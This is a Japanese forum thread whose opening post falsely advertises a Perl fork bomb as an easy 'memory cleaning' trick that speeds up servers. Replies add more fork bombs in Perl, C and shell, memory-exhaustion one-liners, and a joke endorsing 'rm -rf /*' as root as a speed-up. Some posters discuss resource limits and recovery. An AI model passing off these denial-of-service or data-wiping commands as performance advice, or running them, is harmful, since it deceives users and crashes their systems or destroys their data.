UNIX系技術者にとってはほぼ常識ですが、簡単にUNIX系OSの
メモリを簡単にクリーニングできます。やり方は、コマンドラインで、
$ perl -e 'while (1) { fork; }'
とタイプするだけです。
これでディスクキャッシュになっていたメモリが解放されて、
若干処理が軽くなります。Webサーバ等では数%レスポンスが
よくなります。GUIを使っている場合では体感的に早くなったと
わかるでしょう。
探検
簡単!メモリクリーニング
1名無しさん@お腹いっぱい。
NGNGNGNG
制限加えてない状態でやると、そうなるだろうねぇ。
NGNG
ユーザ権限で、しかも>>1じゃならんよ。
gentooのpatchがダメなんじゃないの?
gentooのpatchがダメなんじゃないの?
NGNG
gentooはとんがったもん沢山あててるからなぁ
どれかにマズい不具合がまじってるかもね。
どれかにマズい不具合がまじってるかもね。
NGNG
むしろ、そのノートPCがあやしいかもしれん。
NGNG
>254
会社にある6台のLinuxマシンで試したらほぼ同様の結果。
サーバ運用中のマシンでやるなよ
会社にある6台のLinuxマシンで試したらほぼ同様の結果。
サーバ運用中のマシンでやるなよ
NGNG
定量的な考察ができない連中ばかりいるのはこのスレですか?
NGNG
>>260
煽りなんだろうけど、いまいち意味がわからない。
煽りなんだろうけど、いまいち意味がわからない。
NGNG
>>1 で落ちない、というだけでは十分ではない。
263222
NGNG 私も2.4.20-gentoo-r5ですけどなんの制限してなくても普通に動作してますよ。
ちなみにi686 Intel(R) Pentium(R) 4 CPU 2.40GHz + メモリ1Gの環境です。
ちなみにi686 Intel(R) Pentium(R) 4 CPU 2.40GHz + メモリ1Gの環境です。
NGNG
265222
NGNG 運?
とりあえず>>1みたいにforkせずとも以下のコマンドで見事にお亡くなりになる事は確認しました。
しかもこっちの方がメモリクリーニングっぽい。
perl -e '${"tmp".$i}=[0..100000000] while ($++i)'
とりあえず>>1みたいにforkせずとも以下のコマンドで見事にお亡くなりになる事は確認しました。
しかもこっちの方がメモリクリーニングっぽい。
perl -e '${"tmp".$i}=[0..100000000] while ($++i)'
266訂正
NGNG ループ関係なく
${"tmp".$i}=[0..100000000]
だけで死んだみたいです。
${"tmp".$i}=[0..100000000]
だけで死んだみたいです。
NGNG
それはもうこのスレとは無関係の固有問題かと
NGNG
>>265
FreeBSD-CURRENTですが、一瞬で
Out of memory!
とでるだけで何も起きません。
一桁減らして
perl -e '${"tmp".$i}=[0..10000000] while ($++i)'
にしてみるとしばらくの間重くなったけど正常に終了。
FreeBSD-CURRENTですが、一瞬で
Out of memory!
とでるだけで何も起きません。
一桁減らして
perl -e '${"tmp".$i}=[0..10000000] while ($++i)'
にしてみるとしばらくの間重くなったけど正常に終了。
NGNG
perl -e '${"tmp".$i}=[0..100000000] while ($++i)'
Out of memory!
gentooでも同じく。
よくわからないんだけど、これは一体なにをしてるんだ?
Out of memory!
gentooでも同じく。
よくわからないんだけど、これは一体なにをしてるんだ?
270222
NGNG 0,1,2,...という値が入った100000000個の要素を持つ配列を永遠に作り続ける
という物です。(($++i)は(++$i)の間違いでした)実際には以下のもので代用可能です。
perl -e '@tmp = (0..100000000);'
ちなみに家の場合0を一つ増やして
perl -e '@tmp = (0..1000000000);
とするとちゃんとOut of memory!と出てくれます。
という物です。(($++i)は(++$i)の間違いでした)実際には以下のもので代用可能です。
perl -e '@tmp = (0..100000000);'
ちなみに家の場合0を一つ増やして
perl -e '@tmp = (0..1000000000);
とするとちゃんとOut of memory!と出てくれます。
NGNG
結局>>1のプロセス食い潰しか
>>270のスワップ食い潰し
くらいしか案が出ないのか。
Win2kでも試してみたが、やっぱり資源が尽きるとダメだな。
LinuxとFreeBSDでも制限かけてない状態で資源食い潰すようになるとダメだめだ。
と、ここまではプロセスの話。
メモリとスワップの食い潰しは制限できるもんだろうか?
Win2kと、Linux、FreeBSD共に数秒後、HDDがガリガリ言いだして
放置しておくとと固まってるな。 やはり基本的に「スワップはったら負け」なんだろうか。
2kの方は、ページングファイル固定にしとくと、寿命が決定される。
可変にしとくと、HDD満タンになるまでガリガリ言ってるな。
満タンになったら氏んだ。
その間、作業らしい作業はできなかった。どのOSでもね。
FreeBSDのやりかたわからんけど、Linuxの方はAlt+SysRqで復旧は可能です。
Windowsは何もできなくなって、電源OFFしますた。
>>270のスワップ食い潰し
くらいしか案が出ないのか。
Win2kでも試してみたが、やっぱり資源が尽きるとダメだな。
LinuxとFreeBSDでも制限かけてない状態で資源食い潰すようになるとダメだめだ。
と、ここまではプロセスの話。
メモリとスワップの食い潰しは制限できるもんだろうか?
Win2kと、Linux、FreeBSD共に数秒後、HDDがガリガリ言いだして
放置しておくとと固まってるな。 やはり基本的に「スワップはったら負け」なんだろうか。
2kの方は、ページングファイル固定にしとくと、寿命が決定される。
可変にしとくと、HDD満タンになるまでガリガリ言ってるな。
満タンになったら氏んだ。
その間、作業らしい作業はできなかった。どのOSでもね。
FreeBSDのやりかたわからんけど、Linuxの方はAlt+SysRqで復旧は可能です。
Windowsは何もできなくなって、電源OFFしますた。
NGNG
メモリは普通にlimitがかけられるじゃん。でもswapはだめげ?
そもそも仮想メモリシステムの上では、ユーザは自分が実メモリにのってるの
かswapにのってるのか意識できないからなぁ....
ディスクI/O とか swap ネット帯域とか cpu時間とか メモリ量とか 帯域とか
いろいろ重み付けで加算した「負荷」を定義して、「負荷」をlimitすればい
いのかな。わりと挙動が予測できなくてイヤっぽいんだけど。
そもそも仮想メモリシステムの上では、ユーザは自分が実メモリにのってるの
かswapにのってるのか意識できないからなぁ....
ディスクI/O とか swap ネット帯域とか cpu時間とか メモリ量とか 帯域とか
いろいろ重み付けで加算した「負荷」を定義して、「負荷」をlimitすればい
いのかな。わりと挙動が予測できなくてイヤっぽいんだけど。
273名無しさん@お腹いっぱい。
NGNG ┏━━━━━━━━┓
┃○○○○○○○○┃
┃○●●●●●●○┃
┃○●●●●●●○┃
┃○●●●●●●○┃
┃○●●●●●●○┃
┃○●●●●●●○┃
┃○●●●●●●○┃
┃○○○○○○○○┃
┗━━━━━━━━┛
┃○○○○○○○○┃
┃○●●●●●●○┃
┃○●●●●●●○┃
┃○●●●●●●○┃
┃○●●●●●●○┃
┃○●●●●●●○┃
┃○●●●●●●○┃
┃○○○○○○○○┃
┗━━━━━━━━┛
NGNG
┏━━━━━━━━┓
┃○○○○○○○○┃
┃○●●●●●●○┃
┃○●○○○○●○┃
┃○●○●●○●○┃
┃○●○●●○●○┃
┃○●○○○○●○┃
┃○●●●●●●○┃
┃○○○○○○○○┃
┗━━━━━━━━┛
┃○○○○○○○○┃
┃○●●●●●●○┃
┃○●○○○○●○┃
┃○●○●●○●○┃
┃○●○●●○●○┃
┃○●○○○○●○┃
┃○●●●●●●○┃
┃○○○○○○○○┃
┗━━━━━━━━┛
NGNG
minfree近所まで減ったらOSが勝手にやってくれるのに・・・
なんでいちいちンなこと実行するんですか?
なんでいちいちンなこと実行するんですか?
NGNG
ここに真面目なひとが....
NGNG
× 真面目な
○ 空気を読む神経回路が備わってない
○ 空気を読む神経回路が備わってない
279あぼーん
NGNGあぼーん
280名無しさん@お腹いっぱい。
NGNG 結局カーネルとかいじらないで簡単安全メモリクリーニングってできないの?
NGNG
メモリクリーニングするといいことあるの?
282名無しさん@お腹いっぱい。
NGNG 勝手にディスクキャッシュにメモリ使われるのうざいからどうにかしたいんだよね。
それが有効利用だってことは良くわかってる。でもやめさせたい。メモリを勝手に使うな。
それが有効利用だってことは良くわかってる。でもやめさせたい。メモリを勝手に使うな。
283名無しさん@お腹いっぱい。
NGNG >>282
FreeBSD 4.x, 5.xならsysctl debug.vfscache=0でもするんだな。
FreeBSD 4.x, 5.xならsysctl debug.vfscache=0でもするんだな。
284あぼーん
NGNGあぼーん
285あぼーん
NGNGあぼーん
NGNG
それが有効利用だってことは良くわかってる
それが有効利用だってことは良くわかってる
それが有効利用だってことは良くわかってる
それが有効利用だってことは良くわかってる
それが有効利用だってことは良くわかってる
NGNG
メモリを勝手に使うな。
メモリを勝手に使うな。
メモリを勝手に使うな。
メモリを勝手に使うな。
メモリを勝手に使うな。
NGNG
なんか妙なメモリ観が出たな。おもしろいから発展させてよ
NGNG
まさにドズという欠陥OSとそのアプリがもたらした電波だな。
犬板で割とよくある質問
----
From: [177] login:Penguin <>
Date: 03/07/23 20:21 ID:KoJVwpXS
freeで実メモリを確認すると、数時間後にはすぐfreeがゼロ近くになってしまう。
+/- buffers, cacheを見ればちゃんとfreeが豊富にあるからいいけど、
精神的にbuffersやcacheじゃなくて実メモリが回復して欲しい。
そんなコマンドはないの?
くだらねえ質問はここに書きこめ! Part53 [Linux]
http://pc.2ch.net/test/read.cgi/linux/1058846630/177
----
From: [177] login:Penguin <>
Date: 03/07/23 20:21 ID:KoJVwpXS
freeで実メモリを確認すると、数時間後にはすぐfreeがゼロ近くになってしまう。
+/- buffers, cacheを見ればちゃんとfreeが豊富にあるからいいけど、
精神的にbuffersやcacheじゃなくて実メモリが回復して欲しい。
そんなコマンドはないの?
くだらねえ質問はここに書きこめ! Part53 [Linux]
http://pc.2ch.net/test/read.cgi/linux/1058846630/177
NGNG
>>289
あれにはVM無いからメインメモリーの残量が命だったもんねぇ。(遠い目)
Windows 9xシリーズにはVMはあったけれど似たような欠陥があったし。
ソフトを動かしていないときにはメモリー使用率が低いほうがいいと思うのはM$のせいだな。
あれにはVM無いからメインメモリーの残量が命だったもんねぇ。(遠い目)
Windows 9xシリーズにはVMはあったけれど似たような欠陥があったし。
ソフトを動かしていないときにはメモリー使用率が低いほうがいいと思うのはM$のせいだな。
NGNG
NGNG
294名無しさん@お腹いっぱい。
NGNG 俺もディスクキャッシュやめさせたい。ていうか減らしたい。
実メモリの空きしか見てないどうしようもないソフトがあって。
ディスクキャッシュで埋め尽くされるとそこで止まっちゃうんだよな。
実メモリの空きしか見てないどうしようもないソフトがあって。
ディスクキャッシュで埋め尽くされるとそこで止まっちゃうんだよな。
NGNG
NGNG
cmalloc
297名無しさん@お腹いっぱい。
NGNG cmallocってC言語・・・?
要するにメモリ確保するだけして開放するプログラムを自分で書けってことだよね?
要するにメモリ確保するだけして開放するプログラムを自分で書けってことだよね?
298名無しさん@お腹いっぱい。
NGNG あはは
299あぼーん
NGNGあぼーん
300あぼーん
NGNGあぼーん
301名無しさん@お腹いっぱい。
NGNG 埋めるのなんざmemsetで一発だろ
302名無しさん@お腹いっぱい。
NGNG free(calloc(N,1));
303あぼーん
NGNGあぼーん
NGNG
>>297
多分callocって言いたかったんじゃないの?
確保するだけでなく何らかのアクセスをしてpage faultを起こしてやらないとメモリーは解放されない。
callocってmallocしたあとに全領域をbzeroして書き換えてる(FreeBSD 4.8Rの実装)確保後のアクセスまでやってくれるってことだろうね。
多分callocって言いたかったんじゃないの?
確保するだけでなく何らかのアクセスをしてpage faultを起こしてやらないとメモリーは解放されない。
callocってmallocしたあとに全領域をbzeroして書き換えてる(FreeBSD 4.8Rの実装)確保後のアクセスまでやってくれるってことだろうね。
NGNG
memsetとかallocとかいってるヤシ・・・
ネタだよね?
ネタだよね?
NGNG
309あぼーん
NGNGあぼーん
NGNG
311名無しさん@お腹いっぱい。
NGNG >>310
初心者にむなしいツッコミすんな
初心者にむなしいツッコミすんな
312あぼーん
NGNGあぼーん
NGNG
俺の頭にC言語の命令をとばすのはやめろおお
NGNG
win系はfork関数サポートしてないんじゃなかったっけ?
NGNG
fork関数
fork関数
fork関数
と。
fork関数
fork関数
と。
NGNG
NGNG
システムコール入り口への関数
と捉えると、fork関数でもよいではないかよいではないか
と捉えると、fork関数でもよいではないかよいではないか
318名無しさん@お腹いっぱい。
NGNG 最近の話題サパーリ意味わからん
NGNG
forkダンス
forkダンス
forkダンス
と。
forkダンス
forkダンス
と。
NGNG
>>1を走らせている状態(Load averageが1000を超えているような状態)でも
操作はできるけれど、ssh でログインできない。
sshd の親プロセスを nice -n -15 にしておいても、forkされる子プロセスの
優先度が 0 になってしまう。子プロセスの優先度も -15 にするためには、
openssh のソースを修正しなくちゃいけない?
操作はできるけれど、ssh でログインできない。
sshd の親プロセスを nice -n -15 にしておいても、forkされる子プロセスの
優先度が 0 になってしまう。子プロセスの優先度も -15 にするためには、
openssh のソースを修正しなくちゃいけない?
322あぼーん
NGNGあぼーん
NGNG
むしろコスモクリーニング
324名無しさん@お腹いっぱい。
NGNG 小宇宙クリーニング
NGNG
あるいはメモリリーキング
326名無しさん@お腹いっぱい。
NGNG リナックスは糞
これ常識
これ常識
327名無しさん@お腹いっぱい。
NGNG なんじゃこりやぁぁぁぁぁぁぁぁぁぁ
NGNG
329名無しさん@お腹いっぱい。
NGNG 放置プレイ
330名無しさん@お腹いっぱい。
NGNG Mac埼京
331名無しさん@お腹いっぱい。
NGNG $echo main(){ while(!fork()); return 0; } >init.c ; gcc -o init init.c; ./init
とかだとどうかな?
とかだとどうかな?
332名無しさん@お腹いっぱい。
NGNG 脂肪
333名無しさん@お腹いっぱい。
NGNG リナックス脂肪
334あぼーん
NGNGあぼーん
NGNG
強制シャットダウンでディスクを壊さん程度に。
NGNG
すげー、rm -rf /* やったら超速くなりました
337名無しさん@お腹いっぱい。
NGNG すげー、rm -rf >>336 やったら超速くなりました
338あぼーん
NGNGあぼーん
339名無しさん@お腹いっぱい。
NGNG レイチェルカーソンって沈黙の春とかいうの書いた人だっけか。
NGNG
>>336
rootになるのを忘れるな
rootになるのを忘れるな
341名無しさん@お腹いっぱい。
NGNG #!/bin/sh
. $0
. $0
342名無しさん@お腹いっぱい。
NGNGNGNG
344名無しさん@お腹いっぱい。
NGNG 簡単!ディスククリーニング
345名無しさん@お腹いっぱい。
NGNG #!/bin/sh
. $0 &
. $0 &
346名無しさん@お腹いっぱい。
NGNG fork
347名無しさん@お腹いっぱい。
NGNG Linuxが糞だという事実を確認するためのスレはここですか?
348名無しさん@お腹いっぱい。
NGNG リナッ糞
349名無しさん@お腹いっぱい。
NGNG やっぱWindows最強だな
NGNG
351名無しさん@お腹いっぱい。
NGNG ちんちん
352名無しさん@お腹いっぱい。
NGNG ddのがナウイ
353名無しさん@お腹いっぱい。
NGNG exit 0
354名無しさん@お腹いっぱい。
NGNG 洗剤つけてタワシでゴシゴシ洗え
355名無しさん@お腹いっぱい。
NGNG この程度でリナックスは氏ぬなんて糞OSですね。
レスを投稿する
ニュース
- 【LIVE】国分太一 騒動後初の公の場 司法記者クラブで会見 [ひかり★]
- 生クリームだけの真っ白なクリスマスケーキ 大手メーカーが販売、その理由は…フルーツなしで価格は半額以下に [おっさん友の会★]
- 【文春】元TOKIO・国分太一(51)「女性スタッフ2名への“わいせつ事案”」日テレ事情聴取の全貌が分かった! ★2 [Ailuropoda melanoleuca★]
- 【山上裁判】安倍氏が狙わた理由 旧統一教会の関係者が「安倍氏は『われわれの味方』」と宣伝していた [1ゲットロボ★]
- 【文春】スクープ撮! 超人気ゴルファー・都玲華(21) “30歳上”石井忍コーチ(51)と路上レッスン禁断愛 [冬月記者★]
- 「ウソだったのか」ネット大混乱 議員の歳費5万円アップ「凍結→成立」報道に…「えっ?」「どうなってんだ」「ビックリ」 [バイト歴50年★]
- 🏡今は、もう、動かないとうふさんにトドメ👊😅👊💥📛
- 【速報】国分太一会見 [115996789]
- ひるおび「国連の常任理事国は中華民国。中華人民共和国は中華民国を正式に引き継いでない」高市 [931948549]
- 【高市悲報】「餃子の王将」社長射殺、初公判で被告側が無罪主張。遺族が法廷でブチギレ [834922174]
- ミヤネ屋、国分太一会見
- 【悲報】自民党、通行人に叩かれるwwwwwwwwwwwwwww [834922174]
